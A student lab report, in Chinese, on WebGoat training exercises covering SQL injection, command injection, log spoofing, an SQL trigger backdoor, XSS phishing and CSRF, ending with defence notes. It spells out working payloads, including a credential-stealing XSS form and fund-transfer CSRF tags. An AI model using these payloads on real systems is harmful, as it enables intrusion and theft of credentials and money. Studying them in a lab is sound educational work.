一、实验内容
1.1 实验要求
本实践的目标理解常用网络攻击技术的基本原理,
做不少于7个题目,包括SQL,XSS,CSRF
1 SQL注入攻击
- 命令注入
- 数字型SQL注入
- 日志欺骗
- 字符串型注入
- 数据库后门
2 XSS攻击
- Phishing with XSS
- Stored XSS Attacks
- Reflected XSS Attacks
3 CSRF攻击
- Cross Site Request Forgery
- CSRF Prompt By-Pass
二、实验步骤
WebGoat安装
下载webgoat:在网站https://github.com/WebGoat/WebGoat/releases/tag/7.0.1,下载webgoat-container-7.0.1-war-exec.jar
WebGoat默认使用8080端口,开启前先查看端口是否被占用:
netstat -tupln | grep 8080
未被占用,然后在有该文件的在命令行输入
java -jar webgoat-container-7.0.1-war-exec.jar 开启WebGoat
运行一段时间之后命令行出现 Starting ProtocolHandler 说明成功
浏览器中输入 http://localhost:8080/WebGoat
进入WebGoat登录界面
直接用默认用户名密码登录即可
进行JDK配置,然后重新运行WebGoat,浏览器登陆可以正常显示。
1.SQL注入攻击
命令注入(Command Injection)
原理:在正常的参数提交过程中添加恶意代码以执行某条指令。
目标:可以在目标主机上执行任何系统命令
操作:在左侧菜单栏中选择 Injection Flaws->Command Injection
右键点击,选择 inspect Element 审查网页元素
选择 Edit As HTML 对网页源代码进行修改
找到选项 AccessControlMatrix.help ,在末尾注入 "& netstat -an & ipconfig"
点击 view开始攻击,可以看到执行指令后的网络端口使用情况和IP地址,攻击成功
数字型SQL注入
技术概念 :SQL 注入攻击对任何一个以数据库作为驱动的站点来说都是一个严重威胁
原理:在 station 字段中注入特征字符,能组合成新的 SQL 语句。
SELECT * FROM weather_data WHERE station = [station]
操作:在左侧菜单栏中选择 Injection Flaws->Numeric SQL Injection
右键点击复选框选择 Inspect Element 审查网页元素对源代码<option>进行修改,在在选中的城市编号
value="101"后添加or 1=1
点击GO,可以看到所有城实的天气
日志欺骗
原理:这种攻击是在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹
目标:灰色区域代表在 Web 服务器的日志中的记录的内容,我们的目的是使用户名为“admin”的用户在日志中显示“成功登录”
操作:
在左侧菜单栏中选择 Injection Flaws->Log Spoofing
利用回车0D%和换行符%0A让其在日志中两行显示
在User Name中填入
webgoat%0d%0aLogin Succeeded for username: 20174310srq
点击Login可以看到
webgoat Login Fail 与自己添加的 20174310srq Login Succeeded
字符串型注入
原理:通过注入字符串绕过认证
目标:尝试插入一个SQL字符串,以显示所有信用卡号码。
操作:在左侧菜单栏中选择 Injection Flaws->String SQL Injection
在用户名处输入
srq' or 1=1--
点击GO,可查询表里面的所有数据。
LAB: SQL Injection
目标:使用 SQL 注入绕过认证
操作:
在左侧菜单栏中选择 Injection Flaws->String SQL Injection
右键点击页面,选择inspect Element审查网页元素对源代码进行修改,将password密码框的最大长度限制改为20
以用户Neville登录,输入密码
srq' or '1' = '1
攻击成功,得到所有人员列表
Database Backdoors(数据库后门)
原理:数据库通常作为一个 Web 应用程序的后端来使用。此外,它也用来作为存储的媒介。 它也可以被用来作为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另 一个数据库操作,如 insert, select, update or delete。举个例子:攻击者可以创建一个触发器, 该触发器在创建新用户时,将每个新用户的 Email 地址设置为攻击者的地址。
目标:我们的目标是学习如何利用查询的脆弱性创建触发器。由于 WebGoat 使用的是 MySQL 数据库,不支持触发器,所以该课程不会真正完成。 我们的 Login ID 是 101。
操作:
输入101,得到该用户的信息
输入注入语句
101; update employee set salary=4310
执行两个语句
输入
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20174310@outlook.com'WHERE userid = NEW.userid
注入一个充当SQL后门的触发器
2. XSS攻击
Phishing with XSS
原理:当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁
目标: 创建一个form,要求填写用户名和密码。将数据提交到http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
操作:在搜索框输入如下代码
<head> <body> <div> <div style="float:left;height:100px;50%;background-color:green;"></div> <div style="float:left;height:100px;50%;background-color:red;"></div> </div> <div style="background-color:blue;height:200px;clear:both;"></div> </div></div> </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
页面增加一个表单
输入用户名和密码,读取在表单上输入的用户名和密码信息并发送给捕获这些信息的WebGoat
Stored XSS Attacks
原理:把恶意脚本存储到被攻击网站的数据库,其他人访问到数据库中的恶意脚本后浏览器就会执行脚本,从而攻击网站
目标:常见于论坛等留言、用户留言创建非法的消息内容,输入JavaScript脚本保存在数据库中,任何用户在打开网页的时候,脚本从数据库中取出来而运行,导致其他用户访问非预期的页面或内容
操作:在Title中任意输入,Message输入
<script>alert("I am 20174310srq.i will attack you immediately ");</script>
点击Submit提交
反射型XSS攻击(Reflected XSS Attacks)
技术概念:在反射的XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它。
目标:通过使用攻击脚本创建一个URL,并将其发布到另一个网站,通过电子邮件引诱用户点击实现攻击
操作
在Enter your three digit access code中输入代码
<script>alert("i will attack you immediately 20174310srq");</script>
点击purchase的同时页面就给出了反馈
3. CSRF攻击
Cross Site Request Forgery
目标:向一个新闻组发送一封包含图像的邮件,图像的URL指向一个恶意请求。
操作:网页提示Parameters中的src为295,menu为900
在Message中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=295&menu=900&transferFunds=5000" width="1" height="1" />
以图片形式将URL放入Message框中,用户点击图片就会触发CSRF事件,点击Submit提交
在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。
CSRF Prompt By-Pass
查看Parameters
中的scr=278
和menu=900
在消息栏中输入
<iframe src="attack?Screen=278&menu=900&transferFunds=4310"> </iframe>
<iframe src="attack?Screen=278&menu=900&transferFunds=CONFIRM"> </iframe>
在Message List中生成以Title命名的链接,点击进入后,攻击成功
三、实验总结
3.1 基础知识回答
(1)SQL注入攻击原理,如何防御
- 原理:SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息,甚至造成破坏后台数据库等严重后果。
- 防御:主要有以下几点:
-
- 定制黑名单:将常用的SQL注入字符写入到黑名单中,然后通过程序对用户提交的POST、GET请求以及请求中的各个字段都进行过滤检查,筛选威胁字符。
- 限制查询长度:由于SQL注入过程中需要构造较长的SQL语句,因此,一些特定的程序可以使用限制用户提交的请求内容的长度来达到防御SQL注入的目的,但这种效果并不好。
- 限制查询类型:限制用户请求内容中每个字段的类型,并在用户提交请求的时候进行检查,凡不符合该类型的提交就认为是非法请求。
- 设置数据库权限:根据程序要求为特定的表设置特定的权限,如:某段程序对某表只需具备select权限即可,这样即使程序存在问题,恶意用户也无法对表进行update或insert等写入操作。
- 限制目录权限:WEB目录应至少遵循“可写目录不可执行,可执行目录不可写”的原则,在次基础上,对各目录进行必要的权限细化。
(2)XSS攻击的原理,如何防御
- 原理:利用站点内的信任用户在网站任何接受正常文本输入的地方,输入Javascript脚本,并让脚本执行;
- 防御:表单提交的时候进行特殊字符的检测;对输入框做长度限制;在后台对数据进行过滤等。
(3)CSRF攻击原理,如何防御
- 原理:它通过伪装来自受信任用户的请求来攻击网站。
- 防御:每一个重要的post提交页面必须使用验证码;添加随机的验证码验证;定期清理不使用的cookie。
3.2 实验感受
最后一次实验了,本次实验难度难度比较低,做的过程中除了jdk的安装花费了很多时间,接下来的实验进行的比较顺利,实验虽然完成了,但是web渗透还有很多的知识要在课下进行学习。